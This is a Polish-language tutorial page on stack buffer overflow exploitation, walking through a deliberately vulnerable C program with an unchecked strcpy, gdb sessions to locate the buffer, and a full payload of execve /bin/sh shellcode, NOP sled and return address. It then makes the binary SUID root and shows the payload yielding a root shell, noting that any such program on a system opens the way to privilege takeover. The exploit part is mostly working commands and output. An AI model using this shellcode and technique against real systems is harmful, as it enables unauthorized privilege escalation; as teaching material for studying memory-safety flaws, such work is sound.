Wynika to z tego, że adres bufora pod debugerem jest przesunięty o parę bajtów w stosunku do adresu tego bufora, gdy uruchamiamy program w powłoce. Dlatego zawsze, gdy to możliwe, lepiej jest sprawdzać adres bufora w działającym programie, lekko modyfikując nasz program:
// bo4.c
#include <stdio.h>

void f(char *s) {
  char buf[100];
  printf("buf: %x\n", &buf);
  strcpy(buf, s);
}

void main(int argc, char *argv[]) {
  if(argc>1)
    f(argv[1]);
}
// koniec bo4.c
W funkcji f dodaliśmy linię wypisującą adres naszego bufora. Kompilujemy nasz program i uruchamiamy go na razie jeszcze pod debugerem:
$ gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o bo4 bo4.c
$ gdb bo4

(gdb) r `perl -e 'print "a"x108'`
Starting program: /home/mind/bo4 `perl -e 'print "a"x108'`
buf: bffff588

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) kill
Kill the program being debugged? (y or n) y
(gdb) quit
Adres bufora pod debugerem wynosi 0xbffff588, czyli nie zmienił się w stosunku do poprzedniego programu (bo wywołanie funkcji printf nie zmienia nam już utowrzonego stosu dla bufora). Sprawdźmy teraz adres bufora dla zwykłego wywołania programu:
$ ./bo4 `perl -e 'print "a"x108'`
buf: bffff5b8
Naruszenie ochrony pamięci
Widzimy, że adres przy uruchomieniu wynosi 0xbffff5b8, czyli jest o 0x30 większy niż pod debugerem (bffff5b8-bffff588=0x30). Pod innym systemem różnica ta może być zupełnie inna - nie ma na to uniewersalnej reguły.

Chcąc doprowadzić do wywołania shellcodu dla niedebugowanego programu musimy poprawić nasz ładunek (adres):
$ echo -en "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" > ladunek
$ perl -e 'print "\x90"x80' >> ladunek
$ echo -en "\xb8\xf5\xff\xbf" >> ladunek
Ładunek ten powinien wywołać powłokę zarówno dla programu bo3 jak i bo4 (niedebugowanych):
$ ./bo3 `cat ladunek`
sh-3.2$ exit
exit
$ ./bo4 `cat ladunek`
buf: bffff5b8
sh-3.2$ exit
exit
$
No dobrze a teraz najważniejsze pytanie: po co nam to? Odpowiedź jest prosta. Jeśli podatny na atak program ma ustawiony bit SUID (Set User ID on execution) uruchomimy w ten sposób powłokę z uprawnieniami właściciela takiego programu.

Dla przykładu zmieńmy właściciela programu bo3 na roota i ustawmy mu bit SUID (do tych operacji musimy być rootem):
# chown root /home/mind/bo3
# chmod +s /home/mind/bo3
# ls -la /home/mind/bo3
-rwsr-sr-x 1 root mind 7187 wrz 22 02:42 /home/mind/bo3
Przepełnijmy teraz bufor procesu naszym ładunkiem:
$ whoami
mind
$ ./bo3 `cat ladunek`
sh-3.2# whoami
root
W dość prosty sposób otrzymaliśmy powłokę z uprawnieniami root! Jeśli w systemie odnajdziemy taki program to przejęcie uprawnień stoi przed nami otworem.

Podczas eksperymentowania z różnymi programami można trafić na sytuację, w której adres bufora będzie zawierał w sobie 0x00 (np. 0xbffff800). Wartość zero podczas kopiowania łańcuchów traktowana jest jako koniec łańcucha. Adres nie został by prawidłowo przekazany. Rozwiązaniem jest wówczas poprzedzenie shellcodu NOP-ami i użycie innego adresu (np. 0xbffff804).

ładunek

W następnej części zajmiemy się kernelem z ASLR.

   [ Drukuj ] [ Wyślij stronę ]

Komentarze

Dodaj komentarz!


Wszystkie obrazy, grafika, tekst oraz wszelkie inne treści reprezentowana na tej stronie (oprócz niektórych z działu Download) są chronione prawami autorskimi i są wyłączną własnością autora tej strony. Wszelkie przypadki użycia i/lub publikacji są zastrzeżone na całym świecie. Wszystkie zdjęcia i inne treści są wyraźnie nie w Domenie Publicznej. Żadne zdjęcia ani inne materiały na tej stronie nie mogą być kopiowana, przechowywana, poddawane manipulacji, publikowane, sprzedawane lub cytowane w całości lub w części w jakiejkolwiek formie bez uprzedniej pisemnej zgody upoważnionego przedstawiciela tej strony.

Jako materiał chroniony prawami autorskimi, wszystkie zdjęcia umieszczone na tej stronie chronione są zgodnie z międzynarodowym prawem autorskim.

All images, graphics, text, and all other content represented on this website (except for some of the Download section) are copyrighted and are the sole property of author of this website. All use and/or publication rights are reserved worldwide. All images and all other content are expressly not in the Public Domain. No images or other content on this website may be copied, stored, manipulated, published, sold or reproduced in whole or in part in any form without the prior written authorization of an authorized representative.

As copyrighted material, all images displayed on this site are protected under international copyright laws.

....:::: © 2004-2009 MindShifter ]:::::[ kontakt: Gadu-Gadu 2644644 ::::....